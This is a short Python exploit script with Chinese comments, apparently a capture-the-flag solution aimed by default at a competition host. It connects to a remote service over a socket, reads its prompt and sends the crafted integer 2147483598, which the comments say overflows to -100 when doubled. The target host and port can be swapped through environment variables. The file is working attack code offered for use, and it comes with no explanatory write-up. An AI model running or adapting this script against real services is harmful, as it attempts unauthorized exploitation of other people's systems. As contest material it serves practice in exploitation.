import socket
import os
import logging
# 配置日志记录
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
def connect_to_server(host, port):
    """
    连接到指定的主机和端口。
    """
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        s.connect((host, port))
        return s
    except ConnectionRefusedError:
        logging.error("连接被拒绝")
    except TimeoutError:
        logging.error("连接超时")
    except socket.error as e:
        logging.error(f"发生网络错误: {e}")
    except Exception as e:
        logging.error(f"发生未知错误: {e}")
    return None
def send_payload(s, payload):
    """
    发送有效载荷。
    """
    try:
        s.send(payload.encode())
    except socket.error as e:
        logging.error(f"发送数据时发生错误: {e}")
def receive_data(s):
    """
    接收数据。
    """
    try:
        data = s.recv(1024)
        return data.decode()
    except socket.error as e:
        logging.error(f"接收数据时发生错误: {e}")
    return ""
def exploit(host, port):
    """
    此函数尝试利用远程服务中的漏洞。
    它连接到指定的主机和端口，与服务进行交互，并发送一个精心构造的有效载荷。
    目的是演示远程服务中潜在的整数溢出漏洞。
    """
    s = connect_to_server(host, port)
    if s is None:
        return
    try:
        # 接收提示信息
        data = receive_data(s)
        logging.info(data)
        # 构造可能导致溢出的有效载荷
        # 发送一个大值以引起整数溢出
        payload = '2147483598\n'  # 这个大值在加倍后可能会溢出为 -100
        # 发送有效载荷
        send_payload(s, payload)
        # 接收响应
        data = receive_data(s)
        logging.info(data)
    finally:
        # 关闭连接
        s.close()
if __name__ == "__main__":
    host = os.getenv('TARGET_HOST', '0192c69e0dcc72808c84498fa4cb0e8e.e1se.dg05.wangdingcup.com')
    port = int(os.getenv('TARGET_PORT',43010))
    exploit(host, port)
